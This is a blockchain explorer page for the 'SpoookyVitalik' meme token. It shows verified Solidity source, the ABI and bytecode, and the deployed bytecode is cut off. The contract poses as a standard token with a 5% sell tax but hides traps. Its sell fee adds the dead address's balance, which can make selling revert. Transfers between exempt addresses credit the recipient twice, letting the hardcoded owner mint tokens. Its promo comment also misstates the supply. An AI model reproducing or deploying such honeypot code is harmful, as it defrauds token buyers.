ETH Price: $2,291.81 (-5.36%)

Token

SpoookyVitalik (SPOOOVIT)
 

Overview

Max Total Supply

1,000 SPOOOVIT

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
15.390207485113 SPOOOVIT

Value
$0.00
0x3765983f1139336bc74b746f11d390b3bb11a24f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPOOOVIT

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-10
*/

/*
Spooktober-hype is here and Mr. Vitalik is ready to deliver some quality spooks on the ETH network 👻
🦴 The numbers are: supply @ 1M, max wallet @ 50 000, 5% sell tax
🔮 Marketing plan: Stealth launch + Initial listings + 4chan & Reddit threads + Small Calls + Bigger Calls + ??? + Spooky Gains! 
Hop on our Telegram, get comfy and grab a bag! All things considered, we're looking at many ATHs to come 💹

🎃 https://t.me/SpoookyVitalik
*/
// SPDX-License-Identifier: None

pragma solidity 0.8.17;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}





interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


   

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
         _owner = 0xe287037A6510f22849f301305b4f6032cA918e78;

        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function renounceOwnership() public virtual  {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}





contract SPOOOVIT is Context, IERC20, Ownable { 

     using SafeMath for uint256;


    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 12;
    uint256 public _tTotal =  10**3 * 10**_decimals;
    string private constant _name = unicode"SpoookyVitalik"; 
    string private constant _symbol = unicode"SPOOOVIT"; 



    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 
    uint256 public _BuyFee = 0; // 1000
    uint256 public _SellFee = 50;

    uint256 public _maxWalletToken = 50 * _tTotal.div(1000);
    uint256 public _maxTxAmount = _maxWalletToken; 
                          
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
   
    
    constructor () {
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //0x10ED43C718714eb63d5aA57B78B54704E256024E
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;

        emit Transfer(address(0), address(this), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


 function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20 ERR: approve from the zero address");
        require(spender != address(0), "BEP20 ERR: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
/*
 function addLiquidity() public {
     // require(_isExcludedFromFee[_msgSender()]);
        _approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0, 
            0,
            _msgSender(), 
            block.timestamp
        );
    } 
*/
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] &&
            to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");

        
        require(amount > 0, "Token amount must be higher than 0.");    }

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] ){
        if(
            txCount >= swapTrigger && 
            from != uniswapV2Pair
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapTokensForETH(contractTokenBalance);
            uint256 ETH_Tot = address(this).balance;
            sendToWallet(payable(0xe287037A6510f22849f301305b4f6032cA918e78), ETH_Tot);
        }
    }
        bool takeFee = true;
        bool isBuy;   
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
           
            txCount++;
        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }




    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {        
        if(!takeFee){
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            if(_isExcludedFromFee[sender] && _isExcludedFromFee[recipient]){
              _tOwned[recipient] = _tOwned[recipient]+tAmount;
        } else {emit Transfer(sender, recipient, tAmount); }   
            } else if (isBuy){
            uint256 buyFEE = tAmount*_BuyFee/1000;
            uint256 tTransferAmount = tAmount-buyFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            } else {
            uint256 sellFEE = _SellFee*tAmount/1000 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
         

            uint256 tTransferAmount = tAmount-sellFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            }

    }


 function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000012600c600a620004bb565b62000020906103e8620004cc565b60048190556005805461ffff1916610a001790556000600655603260075562000058906103e862000391602090811b6200061117901c565b62000065906032620004cc565b6008556008546009553480156200007b57600080fd5b50600080546001600160a01b03191673e287037a6510f22849f301305b4f6032ca918e7890811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460016000620000e96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000165573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018b9190620004e6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ff9190620004e6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002739190620004e6565b600b80546001600160a01b03199081166001600160a01b0393841617909155600a8054909116918316919091179055600160036000620002bb6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530808252600384528282208054861660019081179091557f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff805487168217905561dead83527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054909616179094556004549151918252917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200053b565b60006200039f828462000518565b90505b92915050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003ff578160001904821115620003e357620003e3620003a8565b80851615620003f157918102915b93841c9390800290620003c3565b509250929050565b6000826200041857506001620003a2565b816200042757506000620003a2565b81600181146200044057600281146200044b576200046b565b6001915050620003a2565b60ff8411156200045f576200045f620003a8565b50506001821b620003a2565b5060208310610133831016604e8410600b841016171562000490575081810a620003a2565b6200049c8383620003be565b8060001904821115620004b357620004b3620003a8565b029392505050565b60006200039f60ff84168362000407565b8082028115828204841417620003a257620003a2620003a8565b600060208284031215620004f957600080fd5b81516001600160a01b03811681146200051157600080fd5b9392505050565b6000826200053657634e487b7160e01b600052601260045260246000fd5b500490565b6111ed806200054b6000396000f3fe60806040526004361061012e5760003560e01c8063768dc710116100ab578063a457c2d71161006f578063a457c2d71461037e578063a9059cbb1461039e578063af465a27146103be578063dd62ed3e146103d4578063e033da2a1461041a578063fa9771691461043057600080fd5b8063768dc710146102d357806378109e54146103035780637d1db4a5146103195780638da5cb5b1461032f57806395d89b411461034d57600080fd5b8063313ce567116100f2578063313ce5671461022a578063395093511461024657806349bd5a5e1461026657806370a0823114610286578063715018a6146102bc57600080fd5b806306fdde031461013a578063095ea7b3146101835780631694505e146101b357806318160ddd146101eb57806323b872dd1461020a57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d53706f6f6f6b79566974616c696b60901b60208201525b60405161017a9190610f56565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004610fbc565b610446565b604051901515815260200161017a565b3480156101bf57600080fd5b50600a546101d3906001600160a01b031681565b6040516001600160a01b03909116815260200161017a565b3480156101f757600080fd5b506004545b60405190815260200161017a565b34801561021657600080fd5b506101a3610225366004610fe8565b61045d565b34801561023657600080fd5b50604051600c815260200161017a565b34801561025257600080fd5b506101a3610261366004610fbc565b610507565b34801561027257600080fd5b50600b546101d3906001600160a01b031681565b34801561029257600080fd5b506101fc6102a1366004611029565b6001600160a01b031660009081526001602052604090205490565b3480156102c857600080fd5b506102d161053d565b005b3480156102df57600080fd5b506101a36102ee366004611029565b60036020526000908152604090205460ff1681565b34801561030f57600080fd5b506101fc60085481565b34801561032557600080fd5b506101fc60095481565b34801561033b57600080fd5b506000546001600160a01b03166101d3565b34801561035957600080fd5b5060408051808201909152600881526714d413d3d3d5925560c21b602082015261016d565b34801561038a57600080fd5b506101a3610399366004610fbc565b610587565b3480156103aa57600080fd5b506101a36103b9366004610fbc565b610604565b3480156103ca57600080fd5b506101fc60045481565b3480156103e057600080fd5b506101fc6103ef366004611046565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101fc60075481565b34801561043c57600080fd5b506101fc60065481565b6000610453338484610624565b5060015b92915050565b600061046a848484610756565b6104fd84336104f8856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006104d73390565b6001600160a01b0316815260208101919091526040016000205491906109f3565b610624565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104539185906104f89086610a1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045333846104f8856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f0000000000815250600260006105d33390565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000610453338484610756565b600061061d8284611095565b9392505050565b6001600160a01b0383166106905760405162461bcd60e51b815260206004820152602860248201527f4245503230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b0382166106f55760405162461bcd60e51b815260206004820152602660248201527f4245503230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b6064820152608401610687565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff1615801561079857506001600160a01b03831660009081526003602052604090205460ff16155b80156107b25750600b546001600160a01b03838116911614155b1561087d576001600160a01b0382166000908152600160205260409020546008546107dd83836110b7565b111561081f5760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b6044820152606401610687565b6000821161087b5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b6064820152608401610687565b505b6001600160a01b03821660009081526003602052604090205460ff161580156108bf57506001600160a01b03831660009081526003602052604090205460ff16155b156109475760055460ff610100820481169116108015906108ee5750600b546001600160a01b03848116911614155b15610947573060009081526001602052604090205460095481111561091257506009545b6005805460ff1916905561092581610a2b565b4761094473e287037a6510f22849f301305b4f6032ca918e7882610b85565b50505b6001600160a01b0383166000908152600360205260408120546001919060ff168061098a57506001600160a01b03841660009081526003602052604090205460ff165b1561099857600091506109df565b600b546001600160a01b03908116908616036109b2575060015b6005805460ff169060006109c5836110ca565b91906101000a81548160ff021916908360ff160217905550505b6109ec8585858585610bc0565b5050505050565b60008184841115610a175760405162461bcd60e51b81526004016106879190610f56565b505050900390565b600061061d82846110b7565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6057610a606110e9565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add91906110ff565b81600181518110610af057610af06110e9565b6001600160a01b039283166020918202929092010152600a54610b169130911684610624565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b4f90859060009086903090429060040161111c565b600060405180830381600087803b158015610b6957600080fd5b505af1158015610b7d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610bbb573d6000803e3d6000fd5b505050565b81610cfe576001600160a01b038416600090815260016020526040902054610be99084906110b7565b6001600160a01b038086166000908152600160205260408082209390935590871681522054610c1990849061118d565b6001600160a01b03861660009081526001602090815260408083209390935560039052205460ff168015610c6557506001600160a01b03841660009081526003602052604090205460ff165b15610cac576001600160a01b038416600090815260016020526040902054610c8e9084906110b7565b6001600160a01b0385166000908152600160205260409020556109ec565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cf191815260200190565b60405180910390a36109ec565b8015610e105760006103e860065485610d1791906111a0565b610d219190611095565b90506000610d2f828661118d565b6001600160a01b038816600090815260016020526040902054909150610d5690869061118d565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610d869082906110b7565b6001600160a01b038716600090815260016020526040808220929092553081522054610db39083906110b7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506109ec565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d546007546103e890610e519087906111a0565b610e5b9190611095565b610e6591906110b7565b90506000610e73828661118d565b6001600160a01b038816600090815260016020526040902054909150610e9a90869061118d565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610eca9082906110b7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79083906110b7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b600060208083528351808285015260005b81811015610f8357858101830151858201604001528201610f67565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fb957600080fd5b50565b60008060408385031215610fcf57600080fd5b8235610fda81610fa4565b946020939093013593505050565b600080600060608486031215610ffd57600080fd5b833561100881610fa4565b9250602084013561101881610fa4565b929592945050506040919091013590565b60006020828403121561103b57600080fd5b813561061d81610fa4565b6000806040838503121561105957600080fd5b823561106481610fa4565b9150602083013561107481610fa4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000826110b257634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104575761045761107f565b600060ff821660ff81036110e0576110e061107f565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111157600080fd5b815161061d81610fa4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561116c5784516001600160a01b031683529383019391830191600101611147565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104575761045761107f565b80820281158282048414176104575761045761107f56fea26469706673582212205a3461d81c90ca94db8043c08b4dbd2ecf0855b689225b16972d402d810a40cd64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c8063768dc710116100ab578063a457c2d71161006f578063a457c2d71461037e578063a9059cbb1461039e578063af465a27146103be578063dd62ed3e146103d4578063e033da2a1461041a578063fa9771691461043057600080fd5b8063768dc710146102d357806378109e54146103035780637d1db4a5146103195780638da5cb5b1461032f57806395d89b411461034d57600080fd5b8063313ce567116100f2578063313ce5671461022a578063395093511461024657806349bd5a5e1461026657806370a0823114610286578063715018a6146102bc57600080fd5b806306fdde031461013a578063095ea7b3146101835780631694505e146101b357806318160ddd146101eb57806323b872dd1461020a57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d53706f6f6f6b79566974616c696b60901b60208201525b60405161017a9190610f56565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004610fbc565b610446565b604051901515815260200161017a565b3480156101bf57600080fd5b50600a546101d3906001600160a01b031681565b6040516001600160a01b03909116815260200161017a565b3480156101f757600080fd5b506004545b60405190815260200161017a565b34801561021657600080fd5b506101a3610225366004610fe8565b61045d565b34801561023657600080fd5b50604051600c815260200161017a565b34801561025257600080fd5b506101a3610261366004610fbc565b610507565b34801561027257600080fd5b50600b546101d3906001600160a01b031681565b34801561029257600080fd5b506101fc6102a1366004611029565b6001600160a01b031660009081526001602052604090205490565b3480156102c857600080fd5b506102d161053d565b005b3480156102df57600080fd5b506101a36102ee366004611029565b60036020526000908152604090205460ff1681565b34801561030f57600080fd5b506101fc60085481565b34801561032557600080fd5b506101fc60095481565b34801561033b57600080fd5b506000546001600160a01b03166101d3565b34801561035957600080fd5b5060408051808201909152600881526714d413d3d3d5925560c21b602082015261016d565b34801561038a57600080fd5b506101a3610399366004610fbc565b610587565b3480156103aa57600080fd5b506101a36103b9366004610fbc565b610604565b3480156103ca57600080fd5b506101fc60045481565b3480156103e057600080fd5b506101fc6103ef366004611046565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042657600080fd5b506101fc60075481565b34801561043c57600080fd5b506101fc60065481565b6000610453338484610624565b5060015b92915050565b600061046a848484610756565b6104fd84336104f8856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b6001600160a01b03166001600160a01b0316815260200190815260200160002060006104d73390565b6001600160a01b0316815260208101919091526040016000205491906109f3565b610624565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104539185906104f89086610a1f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045333846104f8856040518060400160405280601b81526020017f6572726f723a20616c6c6f77616e63652062656c6f77207a65726f0000000000815250600260006105d33390565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906109f3565b6000610453338484610756565b600061061d8284611095565b9392505050565b6001600160a01b0383166106905760405162461bcd60e51b815260206004820152602860248201527f4245503230204552523a20617070726f76652066726f6d20746865207a65726f604482015267206164647265737360c01b60648201526084015b60405180910390fd5b6001600160a01b0382166106f55760405162461bcd60e51b815260206004820152602660248201527f4245503230204552523a20617070726f766520746f20746865207a65726f206160448201526564647265737360d01b6064820152608401610687565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526003602052604090205460ff1615801561079857506001600160a01b03831660009081526003602052604090205460ff16155b80156107b25750600b546001600160a01b03838116911614155b1561087d576001600160a01b0382166000908152600160205260409020546008546107dd83836110b7565b111561081f5760405162461bcd60e51b815260206004820152601160248201527026a0ac102bb0b63632ba103634b6b4ba1760791b6044820152606401610687565b6000821161087b5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60448201526210181760e91b6064820152608401610687565b505b6001600160a01b03821660009081526003602052604090205460ff161580156108bf57506001600160a01b03831660009081526003602052604090205460ff16155b156109475760055460ff610100820481169116108015906108ee5750600b546001600160a01b03848116911614155b15610947573060009081526001602052604090205460095481111561091257506009545b6005805460ff1916905561092581610a2b565b4761094473e287037a6510f22849f301305b4f6032ca918e7882610b85565b50505b6001600160a01b0383166000908152600360205260408120546001919060ff168061098a57506001600160a01b03841660009081526003602052604090205460ff165b1561099857600091506109df565b600b546001600160a01b03908116908616036109b2575060015b6005805460ff169060006109c5836110ca565b91906101000a81548160ff021916908360ff160217905550505b6109ec8585858585610bc0565b5050505050565b60008184841115610a175760405162461bcd60e51b81526004016106879190610f56565b505050900390565b600061061d82846110b7565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6057610a606110e9565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add91906110ff565b81600181518110610af057610af06110e9565b6001600160a01b039283166020918202929092010152600a54610b169130911684610624565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b4f90859060009086903090429060040161111c565b600060405180830381600087803b158015610b6957600080fd5b505af1158015610b7d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610bbb573d6000803e3d6000fd5b505050565b81610cfe576001600160a01b038416600090815260016020526040902054610be99084906110b7565b6001600160a01b038086166000908152600160205260408082209390935590871681522054610c1990849061118d565b6001600160a01b03861660009081526001602090815260408083209390935560039052205460ff168015610c6557506001600160a01b03841660009081526003602052604090205460ff165b15610cac576001600160a01b038416600090815260016020526040902054610c8e9084906110b7565b6001600160a01b0385166000908152600160205260409020556109ec565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4